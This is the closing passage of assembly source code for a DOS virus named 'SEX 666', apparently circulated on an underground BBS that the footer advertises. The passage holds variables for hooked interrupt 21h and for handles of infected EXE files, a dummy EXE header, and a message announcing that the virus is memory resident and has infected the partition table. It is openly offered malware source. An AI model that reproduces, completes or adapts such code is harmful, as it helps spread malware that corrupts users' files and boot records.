  993. OldInt1Cs    dw    0
  994. OldInt21    equ    this dword        ; orginal interrupt 21h
  995. OldInt21o    dw    0
  996. OldInt21s    dw    0
  997.  
  998. Disable        db    0
  999.  
  1000. Count        equ    this word        ; timer count
  1001. SavedAX        dw    0
  1002. SavedDS        dw    0
  1003.  
  1004. Handle1        dw    -1            ; Handle of exe-file created
  1005. Handle2        dw    -1            ; Handle of exe-file opend
  1006.  
  1007. Table        dw    0,0,0,0            ; Used by link
  1008.  
  1009. ;------------------------------------------------------------------------------
  1010. ;
  1011. ; Orginal EXE-file
  1012. ;
  1013. ;------------------------------------------------------------------------------
  1014.  
  1015.     org    VirusSize
  1016.  
  1017.     db    'MZ'                ; header
  1018.     dw    0                ; image size = 1024 bytes
  1019.     dw    4
  1020.     dw    0                ; relocation items = 0
  1021.     dw    2                ; headersize = 20h
  1022.     dw    40h                ; minimum memory
  1023.     dw    40h                ; maximum memory
  1024.     dw    0                ; ss
  1025.     dw    400h                ; sp
  1026.     dw    0                ; chksum
  1027.     dw    0                ; ip
  1028.     dw    0                ; cs
  1029.     dw    1ch                ; offset relocation table
  1030.     dw    0                ; overlay number
  1031.     dw    -1
  1032.     dw    -1
  1033.  
  1034. Orginal:mov    ah,9                ; display warning
  1035.     push    cs
  1036.     pop    ds
  1037.     mov    dx,offset Warning-VirusSize-20h
  1038.     int    21h
  1039.     mov    ax,4c00h
  1040.     int    21h                ; terminate
  1041.  
  1042. Warning    equ    this byte
  1043.  
  1044.     db    13,10
  1045.     db    'WARNING:',13,10
  1046.     db    13,10
  1047.     db    'SEX 666 virus is now memory resident and has now infected the',13,10
  1048.     db    'partition table !!!!!',13,10
  1049.     db    13,10
  1050.     db    '$'
  1051.  
  1052. cseg ends
  1053.  
  1054. sseg segment stack 'stack'
  1055.     db    100h dup(?)
  1056. sseg ends
  1057.  
  1058. end Start
  1059.  
  1060.  
  1061. 
  1062. ;  ─────────────────────────────────────────────────────────────────────────
  1063. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  1064. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1065. ;  ─────────────────────────────────────────────────────────────────────────
  1066.